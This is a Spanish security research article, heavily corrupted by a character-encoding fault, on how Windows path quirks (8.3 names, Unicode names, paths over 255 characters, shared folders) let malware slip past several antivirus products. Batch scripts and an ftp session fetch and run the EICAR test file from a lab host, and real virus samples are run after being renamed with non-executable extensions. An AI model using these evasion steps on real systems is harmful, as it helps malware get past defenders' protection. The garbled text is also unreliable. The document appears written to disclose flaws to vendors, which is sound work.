Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
# $ %arrafada introductoria
Saludos. Como autor de estas pginas pretendo matar, quiz en un exceso de pretensin, dos pjaros de un tiro. Por un lado, quiero contar una serie de ideas, bastante felices, que sirvieron para verificar el funcionamiento, mal !asta que lo corregimos, de un "#S de fic!eros en el que trabaj$ a sueldo !ar cosa de un a%o, & digo lo de a sueldo porque sino ser'a como Case, & !ar'a ideeses por !obbie en mis ratos libres. Por otro, como parte entretenida & didctica, tambi$n quiero ver si al resto de los que !acen cosas del estilo, concretamente los fabricantes de antivirus, comenten los mismos errores a la !ora de programar, por aquello de no sentirme in(til, & aceptar que programbamos como todo el mundo, slo que nosotros nos molestbamos en comprobarlo. )n fin, vamos a lo que vamos. *a idea general, que se me ocurri no s$ mu& bien como, & sobre la que giran una parte de estas pginas, es poco ms o menos $sta+ -
,#nde est el fic!ero fulanito )n una estructura de datos asociada a una entrada situada en bla bla bla . aqu' toda la teor'a que cuentan en cualquier universidad sobre los sistemas de fic!eros, los rboles b, etc / 0a vale, pero 1 ,eso &o como Pepe P$rez , programador, cmo lo identificoPues por una cadena de texto que contiene una ruta al fic!ero, ,no,Slo una ruta,Cmo que si slo una rutaS', a ver, ,slo existe una (nica cadena de texto con un (nica ruta para cada fic!ero#eber'a ser as', ,no0o creo que no 1 Pues dar igual. )xistir una conversin entre ellas, & todas apuntarn al mismo fic!ero. ,0 si la conversin tiene alg(n fallo-
2s' que a!ora vo& a contar las ideas, muc!as de ellas rozando el absurdo, que !e ido probando, para luego ms tarde contar algunas otras que se me !an ocurrido a ra'z de las pruebas sobre los antivirus.
)ste P234 tiene como caracter'stica ms particular !acer uso de una representacin en formato :;"C<#)+ la combinacin 2*3=9>, que sobre esta fuente da el simbolito de corc!eas. *o del :;"C<#) de momento no os pregunt$is porqu$ lo pongo, ms abajo razono ligeramente el motivo. ;o obstante, lo que nos interesa, o interesaba a mi, es ver que este P234 tiene correspondencias con otros a los que no se parece muc!o. Por ejemplo, a este+ 6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?97
6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?9@dir )l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 6+7#<C:8)?97frame78"S#<C?976SPruebas73)S3?9 EFG9AGAEEH EFG9AGAEEH EFG9AGAEEH 9 A 99+A9 I#"5@ . 99+A9 I#"5@ .. 99+A9 E ejemplo.txt arc!ivos E b&tes dirs J.KAK.HJH.>AE b&tes libres
)sta correspondencia es la que establece el formato L.>, !eredado de los tiempos de 8S#<S & las restricciones de 6239H. )n $l, los fic!eros & directorios no pueden tener ms de L caracteres de longitud, la extensin del fic!ero no puede ser superior a > caracteres & el conjunto de representacin est en el espacio 2SC"" desde el valor >A al valor 9AL, ambos incluidos. 2dems de este, se me ocurri, exist'a otro caso, proporcionado por los nombres de carpetas compartidas en red. Supongamos que compartimos la carpeta test en red como s!are , & que el nombre de la mquina es 4aMNing . Con lo cual tendr'amos esto+ 6+7@dir 774aMNing7s!are )l volumen de la unidad 774aMNing7s!are es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 774aMNing7s!are EFG9AGAEEH EFG9AGAEEH EFG9AGAEEH 9 A 99+A9 I#"5@ . 99+A9 I#"5@ .. 99+A9 E ejemplo.txt arc!ivos E b&tes dirs J.KAL.9AE.>AE b&tes libres
*a moraleja de este asunto, es que nosotros en el "#S siempre analizbamos el caso n(mero 9, es decir, caracteres desde 2*3=>A !asta 2*3=9AL, con nombres largos . ej+ C+78is #ocumentos7E9 Programa )studios.doc / . 8s que nada porque es lo t'pico & !abitual que todo el mundo tiene en su PC. Por el contrario los otros casos se presentan bastante menos. Precisamente la existencia de escenarios at'picos !ac'a que me pareciera interesante ver qu$ se pod'a conseguir usando & abusando de ellos, & comprobando cmo reaccionaba nuestro desarrollo a situaciones que no eran las esperadas por los que lo estbamos programando.
6igA+ )rror en el softMare C*Q )xplorer de Dorland al acceder a una ruta :;"C<#)
4aciendo uso de otro componente, 3#irector&<utline, tambi$n incluido con #elp!i F, nos encontramos que acceder al directorio test produce un error de entradaGsalida+
Para mostrar el problema de forma ms exacta, vamos a codificarnos nuestra propia aplicacin, sin componentes, !aciendo uso de estas A funciones . ver 8&#ir.zip para encontrar el cdigo completo / .../ if 6ind6irst.)dit9.3ext = S7TS, 6ile2ttrs, sr/ U E t!en begin repeat if .sr.2ttr and 6ile2ttrs/ U sr.2ttr t!en begin
"tems.2dd.sr.;ame/V endV until 6ind;ext.sr/ I@ EV 6indClose.sr/V endV .../ Salvo aspectos visuales, la idea de uso de 6ind6irst & 6ind;ext, es esa. *ocalizar el primero de los elementos sobre un directorio, & seguir recorriendo sus entradas, !asta que no quede ninguna por recorrer.
Remos como podemos alcanzar el directorio de nuevo, pero si intentamos acceder a la informacin contenida en el subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7test nos es imposible+
6igJ+ 2cceso errneo a un directorio con formato :;"C<#) usando las funciones 6ind6irst & 6ind;ext desde #)*P4"F
Prestando un poco de atencin vemos un problema en la conversin entre la codificacin usada en el sistema de fic!eros & su representacin como S35";W dentro del propio #elp!i, de tal forma que se intenta usar como P234 la siguiente cadena+ 6+7#ocuments and Settings7frame78is documentos76SPruebas7test- . *a cual no !ace referencia a ninguna ubicacin dentro del sistema de fic!eros. Conclusin+ )n determinados escenarios el uso de nombres de fic!ero que inclu&en caracteres no representables dentro del espacio 2SC"" convencional . 2*3=E>A !asta 2*3=9AL / pueden provocar problemas en la representacin de las rutas & en el posterior acceso a los fic!eros.
#irectorio de 6+7#ocuments and Settings7frame78is documentos76SPruebas EFG9AGAEEH 9F+9H I#"5@ . EFG9AGAEEH 9F+9H I#"5@ .. EFG9AGAEEH 9F+9J I#"5@ 22222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222 EFG9AGAEEH 9>+9> I#"5@ test OPAGAEEH 99+JB I#"5@ 9 arc!ivos 9.>HJ b&tes J dirs J.KJ>.E>A.9KA b&tes libres
Creado est el directorio con un montn de letras 2 . 2!ora vamos a intentar crear un directorio dentro de $l.
6+7#ocuments and Settings7frame78is documentos76SPruebas722222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222222222222 22222222222222222222222222222222222222222222222222222222222222222222222222222222222 @ mkdir subdirectorio
)fectivamente, como superamos el tama%o mximo del P234 nos impide crear nada. Pero, ,& si accedemos a ese subdirectorio en formato L.>6+7#ocuments and Settings7frame78is documentos76SPruebas@ cd AAAAAA-. 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?9@ mkdir subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?9@ cd subdirectorio 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ echo /hola/ 0 fichero 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ type fichero Z!olaZ 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio@ dir
)l volumen de la unidad 6 es 8ain )l n(mero de serie del volumen es+ AB26C#DA6 #irectorio de 6+7#ocuments and Settings7frame78is documentos76SPruebas7222222?97subdirectorio EFG9AGAEEH 9F+AA EFG9AGAEEH 9F+AA I#"5@ I#"5@ . ..
Como podemos ver, si usamos el formato L.>, podemos acceder, crear un subdirectorio, acceder a $l, crear fic!eros dentro de $l, mostrarlos, listar el contenido del directorio, sin ning(n tipo de problema. Sin embargo, en cualquier entorno que no acepte el formato L.>, o quiera convertir el formato L.> a representacin de nombres largos, obtendremos lo siguiente+
Siendo imposible acceder a la carpeta subdirectorio , o crear nuevos contenidos a partir de all'. 3ampoco puede ser eliminada. ;i se pueden realizar b(squedas sobre ella. )n definitiva es una carpeta a la que se deja de poder tener acceso, sino es a trav$s del formato L.> Para ello se puede !acer uso de una sencilla utilidad que fuerza la invocacin de un dilogo de navegacin en formato L.>, con el cual podremos acceder !asta el lugar deseado.
;o tengo excesivas ganas de empezar a discutir entorno al ,por qu$- ocurre esto. 2 grandes rasgos & desde mi opinin personal, que puede ser errnea, ocurre porque desde espacio de usuario, & ms concretamente desde el 2P" de Xin>A, se !a limitado la longitud de las rutas a AJJ caracteres. )sta limitacin parece no incumbir ni al espacio de Nernel, ni al propio sistema de fic!eros. Pero vamos, esto es slo una impresin. ;osotros lo que !icimos para solucionarlo fue convertir las rutas a formato L.> & a correr. Conclusin+ )s posible generar determinados P234S que desde espacio de usuario slo podrn ser accedidos en formato L.>. Siendo imposible su uso en formato de nombre largo, que casualmente es el formato por defecto.
0 sobre la (ltima carpeta establecemos una unidad compartida de nombre [ero 6+7#ocuments and Settings7frame@ net share
;ombre
5ecurso
#escripcin
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC "PC\ "PC remota [ero 6+7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7E7 E7E7E7E7E7E7E7E7E Se !a completado el comando correctamente.
2s' que podremos crear nuevo contenido sobre ella, !aciendo uso de su nombre de red. 6+7@ dir 223a4kin!25ero )l volumen de la unidad 774aMNing7[ero es 8ain )l n(mero de serie del volumen es+ AB26C#DA6
#irectorio de 774aMNing7[ero EFG9AGAEEH 9K+9F I#"5@ . EFG9AGAEEH 9K+9F I#"5@ .. EFG9AGAEEH 9K+9F I#"5@ Prueba E arc!ivos E b&tes > dirs J.LFF.AAF.JAE b&tes libres
:na vez es eliminado el recurso compartido, esa informacin queda totalmente inaccesible, & por tanto no !a& forma de recuperar la informacin all' almacenada, sino es recreando la unidad compartida.
Dit#efender L Standard & Dit#efender 9E Plus 2RW F.J.9 6ree 2vast] vB.F Personal Panda 2ntivirus AEEJ & Panda 2ntivirus AEEF ;orton 2ntivirus AEEF ;od>A vA.J [one 2larm 2ntivirus vH.J ^aspersN& vH.E.9
Para cada uno de los antivirus, me !a parecido sensato evaluar A aspectos, con un objetivo para cada uno de ellos+ Modo :esidente: )l objetivo del anlisis del modo residente !a sido determinar si existe un procedimiento, o varios, para sobrepasar su proteccin, permitiendo de esta forma la e'ecucin de contenido v'rico en el sistema.
Modo 9scaneo de Ficheros: )l objetivo de este modo !a sido por el contrario determinar si existe un procedimiento, o varios, que permitan ocultar contenido v'rico en el sistema de tal forma que se evite su deteccin.
Para facilitar un poco el trabajo !e !ec!o unos scripts, que a la postre !an servido para lo justo, pero !an aportado alguna pista. *a mquina que !a servido de laboratorio es )riNa . *os scripts son 774aMNing7infect7doitCnbt.bat & 774aMNing7infect7doitCftp.bat , en funcin del protocolo por el cual queramos !acer que viaje el fic!erito de eicar, cu&o nombre para la demo ser+ !azard.com @ type doit$ftp bat C+ cd 7 mNdir testCavirs cd testCavirs mNdir 22222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 22222 222222222222222222222222222222222222222222222222222222222222222222222222222 2222 cd 222222?9 mNdir ZprivatefolderZ cd ZprivatefolderZ cop& 7742X^";W7bio!azard7viriiCftp.bat .7 viriiCftp.bat
pause @ type doit$nbt bat C+ cd 7 mNdir testCavirs cd testCavirs mNdir 22222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 22222 222222222222222222222222222222222222222222222222222222222222222222222222222 2222 cd 222222?9 mNdir ZprivatefolderZ cd ZprivatefolderZ cop& 7742X^";W7bio!azard7viriiCnbt.bat .7 viriiCnbt.bat pause Como se puede apreciar ambos fic!eros !acen exactamente lo mismo. Weneran dentro de C+7tetsC avirs un pat! superior a AJJ caracteres, al que acceden mediante formato L.>, para crear un directorio de nombre privatefolder . privatefolder ms 2*3=AJB / & dentro de $l bajan un fic!ero de nombre virilCftp.bat o virilCnbt.bat, el cual ser el encargado de traspasar el fic!ero de eicar al sistema & ejecutarlo. *a estructura de dic!os fic!eros es la siguiente+ @ type <irii$ftp bat cop& 7742X^";W7bio!azard7ftpCcmd.txt .7 ftp Cn Cs+ftpCcmd.txt 9KA.9HL.FE.9 !azard.com pause @ type ftp$cmd t=t literal user m&user literal pass m&pass get !azard.com quit @ type <irii$nbt bat cop& 7742X^";W7bio!azard7!azard.com .7 !azard.com pause ;o tiene muc!o que explicar. viriiCftp.bat !ace uso del fic!ero ftpCcmd.txt para bajar el fic!ero !azard.com de un ftp que se encuentra en la mquina 4aMNing para luego ejecutarlo. 8ientras que viriCnbt.bat lo !ace directamente por recursos compartidos. Sin ms, es !ora de ponerse manos a la obra.
)speranzador comienzo, ntese la irnia. )ste es el primer antivirus que !e probado, & no es que !a&a sido mu& grato ver el pantallaza de alerta. Por si acaso, que con paciencia & una ca%a !asta las ms verdes caen, lo !e lanzado como unas cuantas veces ms, & al final me !e dado cuenta de un peque%o detalle. )l bloqueo se realiza !aciendo uso de un P234 L.> . C+7testCa?97aaaaaa?97privat?97!azard.com /, mientras que nosotros estamos usando un P234 para ejecutar que es diferente & contiene :;"C<#) . C+7testCavirs7aaaaaa?97privatefolder7!azard.com /. ,2caso los se%ores de Dit#efender se dieron cuenta de lo mismo que nos dimos cuenta nosotros en el "#S & usan por defecto P234S en formato L.>-. ,2caso Dit#efender se llevar mal con :;"C<#)Sea como fuere, si nos fijamos bien, cosa que &o !e tardado un rato en !acer, cuando accedemos a la unidad de red para copiar el fic!ero, lo !ace, sin ma&or problema. C+7testCavirs7222222?97privatefolder@cop& 7742X^";W7bio!azard7!azard.com .7 9 file.s/ copied. )ste peque%o detalle, da algo de informacin+ parece que Dit#efender se atraganta con el formato :;"C<#), & por ello convierten a formato L.>. Pero !a& un peque%o matiz que no !an tenido en consideracin, & es que los nombres de las carpetas en red . p.ej+ bio!azard ) no admiten formato L.> #ic!o de otra forma, no existe ning(n 774aMNing7bio!az?97, sino que la (nica forma de acceder a la carpeta compartida es mediante su nombre :;"C<#) bio!azard. Por tanto, si no es capaz de trabajar con nombres en formato :;"C<#) 1
,Yui$n lo iba a decir- 774aMNing7bio!azard7!azard.com & se ejecuta sin ma&or problema. M@*@ 9?1AA9@ Ramos a ver qu$ le sucede cuando intenta escanear la carpeta local C+7testCavirs , que evidentemente tiene contenido v'rico.
0 el resultado es 1
GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC GG GG Product+ Dit#efender L Standard GG Rersion+ L.E GG GG Creado el+ ELG9AGAEEH 9L+AA+AL GG GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC )stad'sticas 5uta de anlisis+ C+7testCavirs Carpetas +E 6ic!eros + A 2rc!ivos +E 6ic!eros empaquetados + E Rirus encontrados +E 6ic!eros infectados +E 2dvertencias + E 6ic!eros sospec!osos + E 6ic!eros desinfectados + E 6ic!eros eliminados +E 6ic!eros copiados +E 6ic!eros trasladados +E 6ic!eros renombrados + E Yue difiere ligeramente del contenido que deber'a !aber encontrado+ C+7testCavirs7222222?9@dir GS Rolume in drive C !as no label. Rolume Serial ;umber is BC>LC9C#9
#irector& of C+7testCavirs7222222?9 ELG9AGAEEH ELG9AGAEEH ELG9AGAEEH E 9L+AA 9L+AA 9H+>A 6ile.s/ I#"5@ . I#"5@ .. I#"5@ privatefolder E b&tes
#irector& of C+7testCavirs7222222?97privatefolder ELG9AGAEEH ELG9AGAEEH EBG9AGAEEH ELG9AGAEEH A 9H+>A 9H+>A 99+BK EK+AL 6ile.s/ I#"5@ I#"5@ . .. HL !azard.com HA viriiCnbt.bat 9>E b&tes
3otal 6iles *isted+ A 6ile.s/ 9>E b&tes J #ir.s/ K.9BA.JJL.FAE b&tes free 1@A1,(?&@A9? )n modo Nernel Dit#efender L permite la ejecucin de contenido v'rico a trav$s de carpetas compartidas ;etDios con nombres :;"C<#) )n modo escaneo Dit#efender L no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>
. Cara de sorpresa / )n la versin 9E de Dit#efender las cosas funcionan un poco peor que en la versin L. 2qu' directamente el script doitCnbt.bat ejecuta )"C25. *o primero que me plante$ es que )"C25 !ubiera salido de la base de datos de la v9E, pero no, no es as', es que simplemente esta versin tiene ms errores que la anterior. Porque )"C25 es detectado correctamente en un entorno esperado .
,Por qu$ sucede esto-. )l problema estriba en que la versin L los P234S :;"C<#) se intentaban transformar en formato L.>, en este caso, dic!a transformacin no se lleva a cabo, pero siguen existiendo problemas para acceder a pat!s :;"C<#). )n fin, luego que venga alguien a !ablar de la refactorizacin, & de la mejora continua en el cdigo. M@*@ 9?1AA9@ Para no engrosar ms el documento, me a!orro la pantallita, pero el problema persiste. GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC GG Producto Dit#efender 2ntivirus Plus v9E GG Producto 9E.E GG Creado el+ ELG9AGAEEH 9L+J9+AL GGCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC )stad'sticas 5uta de anlisis +C+7testCavirs Carpetas +E 6ic!eros +E Procesos de memoria analizados 2rc!ivos +E 5untime pacNers +E Rirus encontrados +E 6ic!eros infectados +E Procesos de memoria infectados 1@A1,(?&@A9? )n modo Nernel Dit#efender 9E permite la ejecucin de contenido v'rico a trav$s de carpetas con nombres :;"C<#) )n modo escaneo Dit#efender 9E no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>
+E
+E
2gotadas todas las ideas, incluso !asta las ms est(pidas, que me a!orro contar, !a tocado cambiar la l'nea de pensamiento. )l cambio de l'nea de pensamiento !a sido a ra'z de lo siguiente, palabra. C+7@cop& 7742X^";W7infect7!azard.txt .7 9 file.s/ copied. C+7@ t&pe !azard.txt QJ<]P_`2PaB7P[QJB.Pb/FCC/Fc\)"C25CS32;#25#C2;3"R"5:SC3)S3C6"*)]\4=4T Ciertamente no es que esto diga muc!o, ms bien nada, pero no s$ porqu$, se me !a pasado la siguiente idea por la mente+ ,& por qu$ no se puede ejecutar eso-. S', lo s$+ va&a c!orradas se me ocurren. Pero bueno, lo cierto, es que si nosotros, desde un C8# de Xin>A, escribimos !azard.txt , pues algo se ejecuta .
*a verdad es que difiere bastante de lo que queremos, pero, algo es algo. )s evidente que se ejecuta porque existe una asociacin entre el tipo de fic!ero .txt & notepad , como podemos ver a continuacin. C+7@2SS<C d findstr txt .logUtxtfile .scpUtxtfile .txtUtxtfile .MtxUtxtfile C+7@630P) d findstr txtfile 3xtfileU_S&stem5oot_7s&stem>A7;<3)P2#.)Q) _9 0 aqu' viene la parte ms divertida+ a cualquier fic!ero sin extensin asociada, cmd.exe lo tratar igual que si fuera un fic!ero ejecutable con formato Xin>AP). ,)sto qu$ quiere decir-. C+7@cop& C+7X";#<XS7s&stem>A7ftp.exe C+7ftp.runit 9 arc!ivos copiados. C+7@ftp.runit ftp@ lcd #irectorio local a!ora C+7. ,Curioso verdad-. Dueno, pues creo que cualquiera se puede imaginar cuales son los siguientes pasos. )l primero comprobar que, para desgracia de 2RW, por defecto slo c!equea los fic!eros que $l considera ejecutables seg(n extensin, que ciertamente son los que la gran ma&or'a consideramos ejecutables, pero que visto lo visto, difiere muc!o de la verdad.
2cto seguido !a& que elegir un virus que no sea )"C25, principalmente porque es incompatible con el formato ejecutable que espera C8#.)Q). Para el caso !a servido bajar un ezine de AK2 & coger uno al azar que !iciera algo en Xin>A, en este caso tloader.exe , que seg(n dice aqu' se asocia a XKJGXeird.
Pues sin ma&or problema, nos creamos un acceso directo, que ejecute un cmd.exe para lanzar en vez de tloader.exe pues tloader.bilbao , en !onor como siempre a ese gran m$todo, & tan amigos.
)l acceso directo infector provoca la ejecucin del contenido v'rico en el sistema. 2fortunadamente existe una solucin mu& sencilla al problema+ obligar a 2RW a escanear cualquier fic!ero que se intente ejecutar independientemente de la extensin. M@*@ 9?1AA9@ Puesto que una imagen vale ms que mil palabras, pongamos la imagen.
6igAE+ 2RW F.J.9 no detecta en el escaneo la existencia de contenido v'rico en la carpeta C+7testCavirs
1@A1,(?&@A9? 2RW F.J.9 en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona forzando el c!equeo de todo el contenido. 2RW F.J.9 en modo escaneo no detecta contenido v'rico en rutas largas superiores a AJJ caracteres creadas mediante estructuras L.>
2fortunadamente me !e dado cuenta que en 2RW !e caido en el autoenga%o, o dic!o de otra forma, tan convencido estaba de que no se pod'a ejecutar un .txt que ni tan siquiera me lo !e planteado realmente. *o (nico que de verdad !e probado en 2RW con el .txt, !a sido intentar ejecutar el cdigo de )"C25, que como sabemos no tiene un formato reconocible como Xin>AP). ,Pero qu$ pasa si !a& un formato reconocible como Xin>AP) dentro de un fic!ero con extensin 3Q3-. Pues como pod$is suponer, pasa que se ejecuta sin ma&or problema, & dado que 2vast] no considera peligrosos los fic!eros con extensin 3Q3, pues no se detiene su ejecucin. Para este caso el virus elegido es otra variante de 3*oader que s' es detectada por 2vast]
6igA9+ 2vast] vB.F permitiendo la ejecucin del virus t*oader a trav$s de un fic!ero 3Q3
Dueno, pues &a est ejecutado el virus, en un fic!ero con extensin 3Q3, ,qui$n lo iba a decir-. M@*@ 9?1AA9@ )l modo escaneo de 2vast] no se rompe en casi ninguna circunstancia. 5ealmente est programado bastante bien, !a sido capaz de detectar & eliminar un virus dentro de rutas como la siguiente+ C+7#6K9?97272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272 72727272727272727272727272727272727virus.txt )l (nico error que !e podido encontrarle es sobre carpetas de red compartidas con formato :;"C<#). )n ese caso s' falla & es incapaz de escanear el contenido. Pero desde el momento que los fic!eros son alcanzables por una ruta local, esto inclu&e carpetas de red mapeadas, no !e encontrado forma de enga%arlo. )l resultado cuando se escanean fic!eros en carpetas con formato :;"C<#) es el siguiente+
6igAA+ 2vast] vB.F no detecta el contenido v'rico en carpetas de red compartidas con formato :;"C<#)
1@A1,(?&@A9? 2vast] vB.F en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona eliminando las extensiones consideradas como seguras 2vast] vB.F en modo escaneo no detecta contenido v'rico en rutas pertenecientes a carpetas compartidas en red con nombre en formato :;"C<#).
Se !a comportado correctamente con la deteccin :;"C<#) & desde formatos L.>, sin embargo, al final !a aparecido un fallo inesperado con la longitud de la ruta. Remoslo. C+7testCavirs722222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222@ftp 9KA.9HL.FE.9 Connected to 9KA.9HL.FE.9. AAE "nd& 63P Server read&. :ser .9KA.9HL.FE.9+.none//+ m&user >>9 :ser name oNa&, need passMord. PassMord+ A>E :ser logged in, proceed. ftp@ get eicar.com AEE P<53 Command successful. 9JE 6ile status oNa&V about to open data connection. AAH Closing data connection. ftp+ HL b&tes received in E,AFSeconds E,AH^b&tesGsec. ftp@ quit AA9 Woodb&e. C+7testCavirs722222222222222222222222222222222222222222222222222222222222222222 222222222222222222222222222222222222222222222222222222222222222222222222222
222222222222222222222222222222222222222222222222222222222222222222222222222 222222222222222222@eicar.com eicar.com 2ccess denied C+73)S3C2?97222222?9@ Yue de forma muc!o ms grfica se traduce en lo siguiente+
6igAB+ Panda AEEJ permite copiar eicar.com sobre un P234 superior a AJJ caracteres
Rolviendo a !acer un esfuerzo de atencin, o quiz &a se !a&a convertido en inercia, nos podemos dar cuenta que la deteccin la !ace sobre un pat! L.>, & no sobre el P234 original, sobre el cual s' !a dejado escribir el fic!ero, cuando de forma !abitual, detecta su creacin. ,0 si nos buscamos, de nuevo, un programita en Xin>AP), que no salga a un P234 L.> cuando finalice su ejecucin-. )n este caso volvemos a !acer uso del t*oader.exe, que es correctamente detectado cuando realizamos su copia sobre C+7, sin embargo, si la !acemos sobre una ruta con ms de AJJ caracteres, el contenido v'rico puede ser copiado, & ejecutado, sin ma&or contratiempo, & sin que el antivirus muestre ninguna se%al de alarma. #e ejemplo usamos el siguiente P234 de AJK caracteres, que es el tama%o mximo que !e conseguido para una ruta en formato largo+ C:\test-avirs\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\tloader.exe
6igAJ+ Panda AEEJ permitiendo la ejecucin de t*oader .XinKJGXeird/ sobre un P234 superior a AJJ caracteres
M@*@ 9?1AA9@ )l modo de escaneo de fic!eros de Panda 3itanium 2ntivirus AEEJ no tiene problemas para acceder a rutas :;"C<#). )l problema lo presenta en cualquier intento de escaneo en rutas por encima de los AJJ caracteres, bien sean creadas expandiendo el P234 siguiendo el formato L.>, o bien sea directamente como se !a descrito en el apartado anterior, sobrepasando el modo residente, con un P234 de AJK b&tes permitido dentro del formato de nombres largos de Xin>A. Como ejemplo !emos elegido este (ltimo punto, simplemente por ser una caracter'stica no encontrada en otros antivirus, & sobre todo, porque con ella !emos visto de nuevo que lo de los AJJ caracteres de longitud para los nombres de fic!eros en Xin>A es ms de palo que pinoc!o. Pues nada, otra pantalla ms.
6igAH+ Panda AEEJ no detecta la existencia de X>AGXeird en una ruta superior a AJJ caracteres
1@A1,(?&@A9? Panda 3itanium 2ntivirus AEEJ en modo residente, permite la ejecucin de contenido v'rico en rutas de nombres largos con extensin por encima de los AJJ caracteres. Panda 3itanium 2ntivirus AEEJ en modo escaneo, no detecta contenido v'rico en rutas por encima de los AJJ caracteres.
:na vez el sistema vuelve a estabilizarse, lo cual cuesta bastante, pues nos acabamos de cepillar el servicio del modo residente, podemos ejecutar lo que gustemos sin ma&or problema.
)n conclusin, otro problema ms con la deteccin por extensin & un desbordamiento de buffer. Con esto acabamos con Panda, &a que el modo escaneo de la versin AEEF no aporta nada significativo sobre el modo escaneo de la versin AEEJ.
)n fin, como los se%ores de ;orton no quieren c!equear, por ejemplo, fic!eros #DQ, lo tenemos fcil+
M@*@ 9?1AA9@ #e momento, & !asta futuras revisiones de este art'culo, no !e podido encontrar una idea feliz que rompa el escaneo de ;orton AEEF. 1@A1,(?&@A9? ;orton 2ntivirus AEEF en modo residente, por defecto, no escanea todas las extensiones de fic!ero. )sta configuracin permite la ejecucin de contenido v'rico mediante el uso de las caracter'sticas del comando cmd.exe. )ste problema se soluciona eliminando las extensiones consideradas como seguras
)ste es uno de esos fallos que no te esperas, & es que visto lo visto, parece que 28<; no monitoriza !asta que ;<#>A completa su carga. )sto, en un sistema con autologin sobre una cuenta, produce que los programas del Start:p puedan arrancar antes que ;<#>A, provocando lo que se ve en la imagen. )n sistemas con pantalla de login, si el login se produce pasado un tiempo , s', tal cual suena, ;<#>A inicia antes que este softMare. Por tanto parece que se produce una condicin de carrera, entre ;<#>A & el softMare del Startup , donde en funcin de parmetros externos, se puede
conseguir ejecutar contenido v'rico, antes que ;<#>A arranque el proceso de monitorizacin. Como prueba por !acer quedar'a ver cmo se comporta con una tarea programada en tasNmgr.exe al iniciar el equipo . Pero bueno, por si acaso esto falla, siempre nos queda quitar el servicio con el script de arriba, & ejecutar sin ma&or problema.
M@*@ 9?1AA9@ 2dems de no poder escanear en P234S por encima de los AJJ caracteres creados a partir de rutas L.>, presenta una caracter'stica adicional en el scan bajo demanda+
2dems la existencia de este problema !ace imposible el escaneo del disco si existe una ruta que provoque un desbordamiento de buffer. 1@A1,(?&@A9?
;<#>A A.J en modo residente, presenta una condicin de carrera respecto a los programas lanzados por el Start:p que puede llevar a la ejecucin de contenido v'rico, no verificado por ;<#>A. 2dicionalmente se podr'a presentar un problema con las tareas planificadas. ;<#>A A.J en modo residente, permite la modificacin de sus fic!eros de arranque, permitiendo as' la desactivacin del servicio & la posterior ejecucin de contenido v'rico. ;<#>A A.J en modo escaneo, no detecta rutas por encima de los AJJ caracteres, creadas a partir de extensiones de ruta mediante el formato L.> ;<#>A A.J en modo escaneo presenta un desbordamiento de buffer en el escaneo manual de determinadas carpetas. 2s' mismo le es imposible realizar un escaneo programado sobre unidades afectadas por este problema.
6ig>H+ )jecucin de contenido v'rico en modo a prueba de fallos tras el reemplazo de logonui.exe
